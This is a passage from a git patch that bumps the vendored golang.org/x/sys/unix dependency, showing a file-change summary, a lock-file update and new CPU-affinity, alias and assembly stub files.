- .../x/sys/unix/syscall_linux_gccgo_arm.go | 20 +
- .../x/sys/unix/syscall_linux_mips64x.go | 53 +-
- .../x/sys/unix/syscall_linux_mipsx.go | 47 +-
- .../x/sys/unix/syscall_linux_ppc64x.go | 59 +-
- ...inux_arm64.go => syscall_linux_riscv64.go} | 118 +-
- .../x/sys/unix/syscall_linux_s390x.go | 44 +-
- .../x/sys/unix/syscall_linux_sparc64.go | 48 +-
- .../golang.org/x/sys/unix/syscall_netbsd.go | 156 +-
- .../x/sys/unix/syscall_netbsd_386.go | 21 +-
- .../x/sys/unix/syscall_netbsd_amd64.go | 21 +-
- .../x/sys/unix/syscall_netbsd_arm.go | 21 +-
- ...etbsd_amd64.go => syscall_netbsd_arm64.go} | 25 +-
- .../golang.org/x/sys/unix/syscall_no_getwd.go | 11 -
- .../golang.org/x/sys/unix/syscall_openbsd.go | 199 +-
- .../x/sys/unix/syscall_openbsd_386.go | 25 +-
- .../x/sys/unix/syscall_openbsd_amd64.go | 25 +-
- .../x/sys/unix/syscall_openbsd_arm.go | 27 +-
- .../x/sys/unix/syscall_openbsd_arm64.go | 41 +
- .../golang.org/x/sys/unix/syscall_solaris.go | 128 +-
- .../x/sys/unix/syscall_solaris_amd64.go | 24 +-
- vendor/golang.org/x/sys/unix/syscall_unix.go | 176 +-
- .../golang.org/x/sys/unix/syscall_unix_gc.go | 2 +-
- ...l_unix_gc.go => syscall_unix_gc_ppc64x.go} | 21 +-
- vendor/golang.org/x/sys/unix/timestruct.go | 82 +
- .../unix/{types_netbsd.go => types_aix.go} | 196 +-
- vendor/golang.org/x/sys/unix/types_darwin.go | 41 +-
- .../golang.org/x/sys/unix/types_dragonfly.go | 66 +-
- vendor/golang.org/x/sys/unix/types_freebsd.go | 178 +-
- vendor/golang.org/x/sys/unix/types_netbsd.go | 73 +-
- vendor/golang.org/x/sys/unix/types_openbsd.go | 78 +-
- vendor/golang.org/x/sys/unix/types_solaris.go | 54 +-
- .../golang.org/x/sys/unix/unveil_openbsd.go | 42 +
- vendor/golang.org/x/sys/unix/xattr_bsd.go | 240 ++
- .../golang.org/x/sys/unix/zerrors_aix_ppc.go | 1384 ++++++++
- .../x/sys/unix/zerrors_aix_ppc64.go | 1385 ++++++++
- .../x/sys/unix/zerrors_darwin_386.go | 391 ++-
- .../x/sys/unix/zerrors_darwin_amd64.go | 391 ++-
- .../x/sys/unix/zerrors_darwin_arm.go | 391 ++-
- .../x/sys/unix/zerrors_darwin_arm64.go | 391 ++-
- .../x/sys/unix/zerrors_dragonfly_amd64.go | 355 ++-
- .../x/sys/unix/zerrors_freebsd_386.go | 508 ++-
- .../x/sys/unix/zerrors_freebsd_amd64.go | 506 ++-
- .../x/sys/unix/zerrors_freebsd_arm.go | 368 ++-
- ...ebsd_amd64.go => zerrors_freebsd_arm64.go} | 509 ++-
- vendor/golang.org/x/sys/unix/zerrors_linux.go | 2469 +++++++++++++++
- .../x/sys/unix/zerrors_linux_386.go | 2690 ++++------------
- .../x/sys/unix/zerrors_linux_amd64.go | 2691 ++++------------
- .../x/sys/unix/zerrors_linux_arm.go | 2701 ++++------------
- .../x/sys/unix/zerrors_linux_arm64.go | 2673 ++++------------
- .../x/sys/unix/zerrors_linux_mips.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_mips64.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_mips64le.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_mipsle.go | 2702 ++++------------
- .../x/sys/unix/zerrors_linux_ppc64.go | 2816 ++++-------------
- .../x/sys/unix/zerrors_linux_ppc64le.go | 2816 ++++-------------
- .../x/sys/unix/zerrors_linux_riscv64.go | 771 +++++
- .../x/sys/unix/zerrors_linux_s390x.go | 2812 ++++------------
- .../x/sys/unix/zerrors_linux_sparc64.go | 2013 +++---------
- .../x/sys/unix/zerrors_netbsd_386.go | 325 +-
- .../x/sys/unix/zerrors_netbsd_amd64.go | 325 +-
- .../x/sys/unix/zerrors_netbsd_arm.go | 325 +-
- ...etbsd_amd64.go => zerrors_netbsd_arm64.go} | 327 +-
- .../x/sys/unix/zerrors_openbsd_386.go | 339 +-
- .../x/sys/unix/zerrors_openbsd_amd64.go | 576 ++--
- .../x/sys/unix/zerrors_openbsd_arm.go | 333 +-
- ...nbsd_amd64.go => zerrors_openbsd_arm64.go} | 605 ++--
- .../x/sys/unix/zerrors_solaris_amd64.go | 380 ++-
- .../x/sys/unix/zptrace_armnn_linux.go | 41 +
- .../x/sys/unix/zptrace_linux_arm64.go | 17 +
- .../x/sys/unix/zptrace_mipsnn_linux.go | 50 +
- .../x/sys/unix/zptrace_mipsnnle_linux.go | 50 +
- .../x/sys/unix/zptrace_x86_linux.go | 80 +
- .../golang.org/x/sys/unix/zsyscall_aix_ppc.go | 1484 +++++++++
- ..._netbsd_amd64.go => zsyscall_aix_ppc64.go} | 936 +++---
- .../x/sys/unix/zsyscall_aix_ppc64_gc.go | 1192 +++++++
- .../x/sys/unix/zsyscall_aix_ppc64_gccgo.go | 1070 +++++++
- ...win_arm.go => zsyscall_darwin_386.1_11.go} | 416 ++-
- .../x/sys/unix/zsyscall_darwin_386.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_386.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_386.go | 1314 ++++++--
- .../x/sys/unix/zsyscall_darwin_386.s | 284 ++
- ...arm64.go => zsyscall_darwin_amd64.1_11.go} | 416 ++-
- .../x/sys/unix/zsyscall_darwin_amd64.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_amd64.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_amd64.go | 1314 ++++++--
- .../x/sys/unix/zsyscall_darwin_amd64.s | 284 ++
- ...win_arm.go => zsyscall_darwin_arm.1_11.go} | 389 ++-
- .../x/sys/unix/zsyscall_darwin_arm.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_arm.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_arm.go | 1301 ++++++--
- .../x/sys/unix/zsyscall_darwin_arm.s | 282 ++
- ...arm64.go => zsyscall_darwin_arm64.1_11.go} | 389 ++-
- .../x/sys/unix/zsyscall_darwin_arm64.1_13.go | 41 +
- .../x/sys/unix/zsyscall_darwin_arm64.1_13.s | 12 +
- .../x/sys/unix/zsyscall_darwin_arm64.go | 1301 ++++++--
- .../x/sys/unix/zsyscall_darwin_arm64.s | 282 ++
- .../x/sys/unix/zsyscall_dragonfly_amd64.go | 238 +-
- .../x/sys/unix/zsyscall_freebsd_386.go | 204 +-
- .../x/sys/unix/zsyscall_freebsd_amd64.go | 204 +-
- .../x/sys/unix/zsyscall_freebsd_arm.go | 204 +-
- ...bsd_amd64.go => zsyscall_freebsd_arm64.go} | 206 +-
- .../x/sys/unix/zsyscall_illumos_amd64.go | 87 +
- ...scall_linux_s390x.go => zsyscall_linux.go} | 774 ++---
- .../x/sys/unix/zsyscall_linux_386.go | 1573 +--------
- .../x/sys/unix/zsyscall_linux_amd64.go | 1607 +---------
- .../x/sys/unix/zsyscall_linux_arm.go | 1626 +---------
- .../x/sys/unix/zsyscall_linux_arm64.go | 1513 +--------
- .../x/sys/unix/zsyscall_linux_mips.go | 1567 +--------
- .../x/sys/unix/zsyscall_linux_mips64.go | 1552 +--------
- .../x/sys/unix/zsyscall_linux_mips64le.go | 1552 +--------
- .../x/sys/unix/zsyscall_linux_mipsle.go | 1567 +--------
- .../x/sys/unix/zsyscall_linux_ppc64.go | 1586 +---------
- .../x/sys/unix/zsyscall_linux_ppc64le.go | 1586 +---------
- .../x/sys/unix/zsyscall_linux_riscv64.go | 582 ++++
- .../x/sys/unix/zsyscall_linux_s390x.go | 1570 +--------
- .../x/sys/unix/zsyscall_linux_sparc64.go | 1247 +-------
- .../x/sys/unix/zsyscall_netbsd_386.go | 551 +++-
- .../x/sys/unix/zsyscall_netbsd_amd64.go | 551 +++-
- .../x/sys/unix/zsyscall_netbsd_arm.go | 551 +++-
- ...ebsd_amd64.go => zsyscall_netbsd_arm64.go} | 262 +-
- .../x/sys/unix/zsyscall_openbsd_386.go | 338 +-
- .../x/sys/unix/zsyscall_openbsd_amd64.go | 338 +-
- .../x/sys/unix/zsyscall_openbsd_arm.go | 338 +-
- ...arwin_386.go => zsyscall_openbsd_arm64.go} | 289 +-
- .../x/sys/unix/zsyscall_solaris_amd64.go | 382 ++-
- ...sctl_openbsd.go => zsysctl_openbsd_386.go} | 4 +-
- ...tl_openbsd.go => zsysctl_openbsd_amd64.go} | 42 +-
- ...sctl_openbsd.go => zsysctl_openbsd_arm.go} | 6 +-
- ...tl_openbsd.go => zsysctl_openbsd_arm64.go} | 47 +-
- .../x/sys/unix/zsysnum_darwin_386.go | 60 +-
- .../x/sys/unix/zsysnum_darwin_amd64.go | 62 +-
- .../x/sys/unix/zsysnum_darwin_arm.go | 14 +-
- .../x/sys/unix/zsysnum_darwin_arm64.go | 14 +-
- .../x/sys/unix/zsysnum_dragonfly_amd64.go | 176 +-
- .../x/sys/unix/zsysnum_freebsd_386.go | 731 +++--
- .../x/sys/unix/zsysnum_freebsd_amd64.go | 731 +++--
- .../x/sys/unix/zsysnum_freebsd_arm.go | 731 +++--
- .../x/sys/unix/zsysnum_freebsd_arm64.go | 396 +++
- .../x/sys/unix/zsysnum_linux_386.go | 808 ++---
- .../x/sys/unix/zsysnum_linux_amd64.go | 19 +-
- .../x/sys/unix/zsysnum_linux_arm.go | 745 ++---
- .../x/sys/unix/zsysnum_linux_arm64.go | 20 +-
- .../x/sys/unix/zsysnum_linux_mips.go | 779 ++---
- .../x/sys/unix/zsysnum_linux_mips64.go | 19 +-
- .../x/sys/unix/zsysnum_linux_mips64le.go | 19 +-
- .../x/sys/unix/zsysnum_linux_mipsle.go | 779 ++---
- .../x/sys/unix/zsysnum_linux_ppc64.go | 33 +-
- .../x/sys/unix/zsysnum_linux_ppc64le.go | 33 +-
- ...inux_arm64.go => zsysnum_linux_riscv64.go} | 23 +-
- .../x/sys/unix/zsysnum_linux_s390x.go | 80 +-
- .../x/sys/unix/zsysnum_linux_sparc64.go | 35 +-
- .../x/sys/unix/zsysnum_netbsd_386.go | 4 +-
- .../x/sys/unix/zsysnum_netbsd_amd64.go | 4 +-
- .../x/sys/unix/zsysnum_netbsd_arm.go | 4 +-
- ..._netbsd_386.go => zsysnum_netbsd_arm64.go} | 6 +-
- .../x/sys/unix/zsysnum_openbsd_386.go | 223 +-
- .../x/sys/unix/zsysnum_openbsd_amd64.go | 223 +-
- .../x/sys/unix/zsysnum_openbsd_arm.go | 217 +-
- ...penbsd_arm.go => zsysnum_openbsd_arm64.go} | 218 +-
- .../x/sys/unix/zsysnum_solaris_amd64.go | 13 -
- .../golang.org/x/sys/unix/ztypes_aix_ppc.go | 352 +++
- .../golang.org/x/sys/unix/ztypes_aix_ppc64.go | 356 +++
- .../x/sys/unix/ztypes_darwin_386.go | 195 +-
- .../x/sys/unix/ztypes_darwin_amd64.go | 241 +-
- .../x/sys/unix/ztypes_darwin_arm.go | 195 +-
- .../x/sys/unix/ztypes_darwin_arm64.go | 246 +-
- .../x/sys/unix/ztypes_dragonfly_amd64.go | 213 +-
- .../x/sys/unix/ztypes_freebsd_386.go | 426 ++-
- .../x/sys/unix/ztypes_freebsd_amd64.go | 448 ++-
- .../x/sys/unix/ztypes_freebsd_arm.go | 427 ++-
- ...eebsd_amd64.go => ztypes_freebsd_arm64.go} | 430 ++-
- vendor/golang.org/x/sys/unix/ztypes_linux.go | 2340 ++++++++++++++
- .../golang.org/x/sys/unix/ztypes_linux_386.go | 878 ++---
- .../x/sys/unix/ztypes_linux_amd64.go | 881 ++----
- .../golang.org/x/sys/unix/ztypes_linux_arm.go | 899 +++---
- .../x/sys/unix/ztypes_linux_arm64.go | 883 ++----
- .../x/sys/unix/ztypes_linux_mips.go | 864 ++---
- .../x/sys/unix/ztypes_linux_mips64.go | 880 ++----
- .../x/sys/unix/ztypes_linux_mips64le.go | 880 ++----
- .../x/sys/unix/ztypes_linux_mipsle.go | 864 ++---
- .../x/sys/unix/ztypes_linux_ppc64.go | 889 ++----
- .../x/sys/unix/ztypes_linux_ppc64le.go | 889 ++----
- .../x/sys/unix/ztypes_linux_riscv64.go | 621 ++++
- .../x/sys/unix/ztypes_linux_s390x.go | 842 ++---
- .../x/sys/unix/ztypes_linux_sparc64.go | 910 +++---
- .../x/sys/unix/ztypes_netbsd_386.go | 145 +-
- .../x/sys/unix/ztypes_netbsd_amd64.go | 152 +-
- .../x/sys/unix/ztypes_netbsd_arm.go | 151 +-
- ...netbsd_amd64.go => ztypes_netbsd_arm64.go} | 154 +-
- .../x/sys/unix/ztypes_openbsd_386.go | 173 +-
- .../x/sys/unix/ztypes_openbsd_amd64.go | 264 +-
- .../x/sys/unix/ztypes_openbsd_arm.go | 255 +-
- ...enbsd_amd64.go => ztypes_openbsd_arm64.go} | 260 +-
- .../x/sys/unix/ztypes_solaris_amd64.go | 239 +-
- 293 files changed, 60017 insertions(+), 59731 deletions(-)
- create mode 100644 vendor/golang.org/x/sys/unix/affinity_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/aliases.go
- create mode 100644 vendor/golang.org/x/sys/unix/asm_aix_ppc64.s
- copy vendor/golang.org/x/sys/unix/{asm_linux_mips64x.s => asm_freebsd_arm64.s} (71%)
- create mode 100644 vendor/golang.org/x/sys/unix/asm_linux_riscv64.s
- copy vendor/golang.org/x/sys/unix/{asm_linux_mips64x.s => asm_netbsd_arm64.s} (60%)
- copy vendor/golang.org/x/sys/unix/{asm_linux_mips64x.s => asm_openbsd_arm64.s} (76%)
- create mode 100644 vendor/golang.org/x/sys/unix/dev_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_aix_ppc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_darwin.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_dragonfly.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_freebsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_netbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/dev_openbsd.go
- delete mode 100644 vendor/golang.org/x/sys/unix/env_unset.go
- create mode 100644 vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
- rename vendor/golang.org/x/sys/unix/{flock.go => fcntl.go} (54%)
- create mode 100644 vendor/golang.org/x/sys/unix/fcntl_darwin.go
- rename vendor/golang.org/x/sys/unix/{flock_linux_32bit.go => fcntl_linux_32bit.go} (100%)
- create mode 100644 vendor/golang.org/x/sys/unix/fdset.go
- delete mode 100644 vendor/golang.org/x/sys/unix/file_unix.go
- delete mode 100644 vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/ioctl.go
- create mode 100644 vendor/golang.org/x/sys/unix/mkasm_darwin.go
- create mode 100644 vendor/golang.org/x/sys/unix/mkmerge.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksyscall_solaris.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/mksysnum.go
- delete mode 100644 vendor/golang.org/x/sys/unix/openbsd_pledge.go
- create mode 100644 vendor/golang.org/x/sys/unix/pagesize_unix.go
- create mode 100644 vendor/golang.org/x/sys/unix/pledge_openbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/readdirent_getdents.go
- create mode 100644 vendor/golang.org/x/sys/unix/readdirent_getdirentries.go
- create mode 100644 vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
- create mode 100644 vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_aix.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
- copy vendor/golang.org/x/sys/unix/{syscall_dragonfly_amd64.go => syscall_freebsd_arm64.go} (59%)
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_illumos.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gc.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gc_386.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gccgo_386.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_linux_gccgo_arm.go
- copy vendor/golang.org/x/sys/unix/{syscall_linux_arm64.go => syscall_linux_riscv64.go} (68%)
- copy vendor/golang.org/x/sys/unix/{syscall_netbsd_amd64.go => syscall_netbsd_arm64.go} (50%)
- delete mode 100644 vendor/golang.org/x/sys/unix/syscall_no_getwd.go
- create mode 100644 vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go
- copy vendor/golang.org/x/sys/unix/{syscall_unix_gc.go => syscall_unix_gc_ppc64x.go} (51%)
- create mode 100644 vendor/golang.org/x/sys/unix/timestruct.go
- copy vendor/golang.org/x/sys/unix/{types_netbsd.go => types_aix.go} (53%)
- create mode 100644 vendor/golang.org/x/sys/unix/unveil_openbsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/xattr_bsd.go
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_aix_ppc64.go
- copy vendor/golang.org/x/sys/unix/{zerrors_freebsd_amd64.go => zerrors_freebsd_arm64.go} (80%)
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go
- copy vendor/golang.org/x/sys/unix/{zerrors_netbsd_amd64.go => zerrors_netbsd_arm64.go} (89%)
- copy vendor/golang.org/x/sys/unix/{zerrors_openbsd_amd64.go => zerrors_openbsd_arm64.go} (76%)
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zptrace_x86_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_netbsd_amd64.go => zsyscall_aix_ppc64.go} (57%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gc.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64_gccgo.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm.go => zsyscall_darwin_386.1_11.go} (85%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm64.go => zsyscall_darwin_amd64.1_11.go} (85%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm.go => zsyscall_darwin_arm.1_11.go} (85%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_arm64.go => zsyscall_darwin_arm64.1_11.go} (84%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.go
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s
- copy vendor/golang.org/x/sys/unix/{zsyscall_freebsd_amd64.go => zsyscall_freebsd_arm64.go} (90%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_illumos_amd64.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_linux_s390x.go => zsyscall_linux.go} (79%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsyscall_linux_riscv64.go
- copy vendor/golang.org/x/sys/unix/{zsyscall_freebsd_amd64.go => zsyscall_netbsd_arm64.go} (92%)
- copy vendor/golang.org/x/sys/unix/{zsyscall_darwin_386.go => zsyscall_openbsd_arm64.go} (87%)
- copy vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_386.go} (99%)
- copy vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_amd64.go} (91%)
- copy vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_arm.go} (99%)
- rename vendor/golang.org/x/sys/unix/{zsysctl_openbsd.go => zsysctl_openbsd_arm64.go} (91%)
- create mode 100644 vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go
- copy vendor/golang.org/x/sys/unix/{zsysnum_linux_arm64.go => zsysnum_linux_riscv64.go} (92%)
- copy vendor/golang.org/x/sys/unix/{zsysnum_netbsd_386.go => zsysnum_netbsd_arm64.go} (99%)
- copy vendor/golang.org/x/sys/unix/{zsysnum_openbsd_arm.go => zsysnum_openbsd_arm64.go} (67%)
- delete mode 100644 vendor/golang.org/x/sys/unix/zsysnum_solaris_amd64.go
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_aix_ppc.go
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_aix_ppc64.go
- copy vendor/golang.org/x/sys/unix/{ztypes_freebsd_amd64.go => ztypes_freebsd_arm64.go} (54%)
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_linux.go
- create mode 100644 vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go
- copy vendor/golang.org/x/sys/unix/{ztypes_netbsd_amd64.go => ztypes_netbsd_arm64.go} (73%)
- copy vendor/golang.org/x/sys/unix/{ztypes_openbsd_amd64.go => ztypes_openbsd_arm64.go} (58%)
-
-diff --git a/Gopkg.lock b/Gopkg.lock
-index b4333103..01a867d5 100644
---- a/Gopkg.lock
-+++ b/Gopkg.lock
-@@ -112,11 +112,11 @@
-
- [[projects]]
- branch = "master"
-- digest = "1:51912e607c5e28a89fdc7e41d3377b92086ab7f76ded236765dbf98d0a704c5d"
-+ digest = "1:f8181d8aa1e268255316ec12ab5402d4f671b1da6d7ad40abdf2f92c0404b67d"
- name = "golang.org/x/sys"
- packages = ["unix"]
- pruneopts = "NUT"
-- revision = "bb24a47a89eac6c1227fbcb2ae37a8b9ed323366"
-+ revision = "1957bb5e6d1f523308b49060df02171d06ddfc77"
-
- [[projects]]
- branch = "v2"
-diff --git a/vendor/golang.org/x/sys/unix/affinity_linux.go b/vendor/golang.org/x/sys/unix/affinity_linux.go
-new file mode 100644
-index 00000000..6e5c81ac
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/affinity_linux.go
-@@ -0,0 +1,86 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// CPU affinity functions
-+
-+package unix
-+
-+import (
-+ "math/bits"
-+ "unsafe"
-+)
-+
-+const cpuSetSize = _CPU_SETSIZE / _NCPUBITS
-+
-+// CPUSet represents a CPU affinity mask.
-+type CPUSet [cpuSetSize]cpuMask
-+
-+func schedAffinity(trap uintptr, pid int, set *CPUSet) error {
-+ _, _, e := RawSyscall(trap, uintptr(pid), uintptr(unsafe.Sizeof(*set)), uintptr(unsafe.Pointer(set)))
-+ if e != 0 {
-+ return errnoErr(e)
-+ }
-+ return nil
-+}
-+
-+// SchedGetaffinity gets the CPU affinity mask of the thread specified by pid.
-+// If pid is 0 the calling thread is used.
-+func SchedGetaffinity(pid int, set *CPUSet) error {
-+ return schedAffinity(SYS_SCHED_GETAFFINITY, pid, set)
-+}
-+
-+// SchedSetaffinity sets the CPU affinity mask of the thread specified by pid.
-+// If pid is 0 the calling thread is used.
-+func SchedSetaffinity(pid int, set *CPUSet) error {
-+ return schedAffinity(SYS_SCHED_SETAFFINITY, pid, set)
-+}
-+
-+// Zero clears the set s, so that it contains no CPUs.
-+func (s *CPUSet) Zero() {
-+ for i := range s {
-+ s[i] = 0
-+ }
-+}
-+
-+func cpuBitsIndex(cpu int) int {
-+ return cpu / _NCPUBITS
-+}
-+
-+func cpuBitsMask(cpu int) cpuMask {
-+ return cpuMask(1 << (uint(cpu) % _NCPUBITS))
-+}
-+
-+// Set adds cpu to the set s.
-+func (s *CPUSet) Set(cpu int) {
-+ i := cpuBitsIndex(cpu)
-+ if i < len(s) {
-+ s[i] |= cpuBitsMask(cpu)
-+ }
-+}
-+
-+// Clear removes cpu from the set s.
-+func (s *CPUSet) Clear(cpu int) {
-+ i := cpuBitsIndex(cpu)
-+ if i < len(s) {
-+ s[i] &^= cpuBitsMask(cpu)
-+ }
-+}
-+
-+// IsSet reports whether cpu is in the set s.
-+func (s *CPUSet) IsSet(cpu int) bool {
-+ i := cpuBitsIndex(cpu)
-+ if i < len(s) {
-+ return s[i]&cpuBitsMask(cpu) != 0
-+ }
-+ return false
-+}
-+
-+// Count returns the number of CPUs in the set s.
-+func (s *CPUSet) Count() int {
-+ c := 0
-+ for _, b := range s {
-+ c += bits.OnesCount64(uint64(b))
-+ }
-+ return c
-+}
-diff --git a/vendor/golang.org/x/sys/unix/aliases.go b/vendor/golang.org/x/sys/unix/aliases.go
-new file mode 100644
-index 00000000..951fce4d
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/aliases.go
-@@ -0,0 +1,14 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build go1.9
-+
-+package unix
-+
-+import "syscall"
-+
-+type Signal = syscall.Signal
-+type Errno = syscall.Errno
-+type SysProcAttr = syscall.SysProcAttr
-diff --git a/vendor/golang.org/x/sys/unix/asm_aix_ppc64.s b/vendor/golang.org/x/sys/unix/asm_aix_ppc64.s
-new file mode 100644
-index 00000000..06f84b85
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/asm_aix_ppc64.s
-@@ -0,0 +1,17 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build !gccgo
-+
-+#include "textflag.h"
-+
-+//
-+// System calls for ppc64, AIX are implemented in runtime/syscall_aix.go
-+//
-+
-+TEXT ·syscall6(SB),NOSPLIT,$0-88
-+ JMP syscall·syscall6(SB)
-+
-+TEXT ·rawSyscall6(SB),NOSPLIT,$0-88
-+ JMP syscall·rawSyscall6(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s b/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
-index d5ed6726..603dd572 100644
---- a/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
-+++ b/vendor/golang.org/x/sys/unix/asm_dragonfly_amd64.s
-@@ -13,17 +13,17 @@
- // Just jump to package syscall's implementation for all these functions.
- // The runtime may know about them.
-
--TEXT ·Syscall(SB),NOSPLIT,$0-64
-+TEXT ·Syscall(SB),NOSPLIT,$0-56
- JMP syscall·Syscall(SB)
-
--TEXT ·Syscall6(SB),NOSPLIT,$0-88
-+TEXT ·Syscall6(SB),NOSPLIT,$0-80
- JMP syscall·Syscall6(SB)
-
--TEXT ·Syscall9(SB),NOSPLIT,$0-112
-+TEXT ·Syscall9(SB),NOSPLIT,$0-104
- JMP syscall·Syscall9(SB)
-
--TEXT ·RawSyscall(SB),NOSPLIT,$0-64
-+TEXT ·RawSyscall(SB),NOSPLIT,$0-56
- JMP syscall·RawSyscall(SB)
-
--TEXT ·RawSyscall6(SB),NOSPLIT,$0-88
-+TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
- JMP syscall·RawSyscall6(SB)
-diff --git a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s b/vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
-similarity index 71%
-copy from vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-copy to vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
-index 724e580c..d9318cbf 100644
---- a/vendor/golang.org/x/sys/unix/asm_linux_mips64x.s
-+++ b/vendor/golang.org/x/sys/unix/asm_freebsd_arm64.s
-@@ -1,15 +1,13 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
